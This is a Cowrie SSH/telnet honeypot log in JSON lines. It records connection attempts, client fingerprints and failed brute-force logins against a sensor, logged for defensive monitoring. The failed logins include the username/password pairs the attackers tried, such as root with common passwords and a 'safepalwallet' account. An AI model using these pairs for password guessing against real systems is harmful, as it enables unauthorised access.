{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:31.911198Z","src_ip":"20.228.193.165","session":"d547d17f648b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:31.924954Z","src_ip":"20.228.193.165","session":"d547d17f648b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa12341234","message":"login attempt [root/Aa12341234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:32.009838Z","src_ip":"20.228.193.165","session":"d547d17f648b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:33.022141Z","src_ip":"20.228.193.165","session":"d547d17f648b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.166.84.37","src_port":33121,"dst_ip":"159.203.135.109","dst_port":22,"session":"6baab2ded967","protocol":"ssh","message":"New connection: 213.166.84.37:33121 (159.203.135.109:22) [session: 6baab2ded967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:33:59.961685Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:00.035614Z","src_ip":"213.166.84.37","session":"6baab2ded967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":36218,"dst_ip":"10.17.0.5","dst_port":22,"session":"c97ca2b02194","protocol":"ssh","message":"New connection: 103.82.20.28:36218 (10.17.0.5:22) [session: c97ca2b02194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:02.146134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:02.150414Z","src_ip":"103.82.20.28","session":"c97ca2b02194","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:02.418851Z","src_ip":"103.82.20.28","session":"c97ca2b02194","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"05081993","message":"login attempt [root/05081993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:03.225959Z","src_ip":"103.82.20.28","session":"c97ca2b02194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:04.497378Z","src_ip":"103.82.20.28","session":"c97ca2b02194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.183","src_port":57906,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1e3d90edb57","protocol":"ssh","message":"New connection: 162.241.132.183:57906 (159.203.135.109:22) [session: b1e3d90edb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:06.769439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:06.773468Z","src_ip":"162.241.132.183","session":"b1e3d90edb57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:06.798577Z","src_ip":"162.241.132.183","session":"b1e3d90edb57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"safepalwallet","password":"safepal123","message":"login attempt [safepalwallet/safepal123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:06.877550Z","src_ip":"162.241.132.183","session":"b1e3d90edb57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:07.904901Z","src_ip":"162.241.132.183","session":"b1e3d90edb57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.206.182.197","src_port":3340,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a53d0a26e97","protocol":"ssh","message":"New connection: 195.206.182.197:3340 (159.203.135.109:22) [session: 5a53d0a26e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:09.127566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:09.131390Z","src_ip":"195.206.182.197","session":"5a53d0a26e97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc9e7273cde22b1209d6673b5fd10bd5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc9e7273cde22b1209d6673b5fd10bd5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:09.203048Z","src_ip":"195.206.182.197","session":"5a53d0a26e97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:09.277942Z","src_ip":"195.206.182.197","session":"5a53d0a26e97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":38682,"dst_ip":"10.17.0.5","dst_port":22,"session":"98c916260b30","protocol":"ssh","message":"New connection: 189.203.163.10:38682 (10.17.0.5:22) [session: 98c916260b30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:20.444939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:20.448290Z","src_ip":"189.203.163.10","session":"98c916260b30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:20.511428Z","src_ip":"189.203.163.10","session":"98c916260b30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elite","message":"login attempt [root/elite] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:20.799888Z","src_ip":"189.203.163.10","session":"98c916260b30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:21.866358Z","src_ip":"189.203.163.10","session":"98c916260b30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":46524,"dst_ip":"10.17.0.5","dst_port":22,"session":"db799b7ff95b","protocol":"ssh","message":"New connection: 160.174.129.232:46524 (10.17.0.5:22) [session: db799b7ff95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:22.159834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:22.168041Z","src_ip":"160.174.129.232","session":"db799b7ff95b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:22.308047Z","src_ip":"160.174.129.232","session":"db799b7ff95b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xw123456!","message":"login attempt [root/Xw123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:22.899439Z","src_ip":"160.174.129.232","session":"db799b7ff95b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:24.042051Z","src_ip":"160.174.129.232","session":"db799b7ff95b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.197.164.175","src_port":39044,"dst_ip":"10.17.0.5","dst_port":22,"session":"27663bace588","protocol":"ssh","message":"New connection: 138.197.164.175:39044 (10.17.0.5:22) [session: 27663bace588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:24.234811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:24.238416Z","src_ip":"138.197.164.175","session":"27663bace588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:24.255670Z","src_ip":"138.197.164.175","session":"27663bace588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1357913579","message":"login attempt [root/1357913579] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:24.359652Z","src_ip":"138.197.164.175","session":"27663bace588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:25.381134Z","src_ip":"138.197.164.175","session":"27663bace588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48226,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbecda7d36c7","protocol":"telnet","message":"New connection: 170.64.224.25:48226 (159.203.135.109:23) [session: fbecda7d36c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:27.168582Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":57864,"dst_ip":"159.203.135.109","dst_port":22,"session":"57aff2283e73","protocol":"ssh","message":"New connection: 159.65.58.200:57864 (159.203.135.109:22) [session: 57aff2283e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:27.389834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:27.692714Z","src_ip":"159.65.58.200","session":"57aff2283e73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:27.695535Z","src_ip":"159.65.58.200","session":"57aff2283e73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"saa","password":"123456","message":"login attempt [saa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:28.929927Z","src_ip":"159.65.58.200","session":"57aff2283e73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:30.203517Z","src_ip":"159.65.58.200","session":"57aff2283e73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":55188,"dst_ip":"159.203.135.109","dst_port":22,"session":"4eac68a5cd70","protocol":"ssh","message":"New connection: 154.18.197.35:55188 (159.203.135.109:22) [session: 4eac68a5cd70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:33.063452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:33.069590Z","src_ip":"154.18.197.35","session":"4eac68a5cd70","protocol":"ssh"}
